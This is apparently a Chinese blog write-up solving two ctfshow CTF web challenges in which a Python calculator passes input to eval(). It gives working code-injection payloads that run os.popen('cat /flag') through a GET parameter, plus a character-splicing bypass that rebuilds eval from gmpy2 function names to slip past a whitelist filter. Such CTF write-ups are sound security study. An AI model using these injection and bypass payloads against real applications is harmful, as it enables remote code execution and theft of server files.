【CTF刷题4】ctfshow刷题web部分wp(3)

题目来源:ctfshow菜狗杯

算力超群

考点:抓包,eval()函数利用,漏洞利用

打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。 随便计算下然后抓个包

image-20240806180720171

发现是get方法,改参数让它报错。发现eval()函数。

image-20240806180956097

python语言,用危险函数eval()进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。

payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

image-20240806181354332

算力升级

考点:python库,拼接绕过,漏洞利用

打开,查看源码。

code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出

pattern=re.compile(r'\w+')
for item in pattern.findall(code):

如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行

那么我们可以看一下gmpy2库的函数有什么是可以利用的

先在本地安装gmpy2库,pip install gmpy2

查看所有函数名,结果有很多,不过没有可以直接利用的

import gmpy2
print(dir(gmpy2))

里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval

image-20240806184033715

image-20240806184054698

那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效

gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")

这里可以直接用os是因为import os了,如果没有可以用

gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

payload

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梦 & 醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值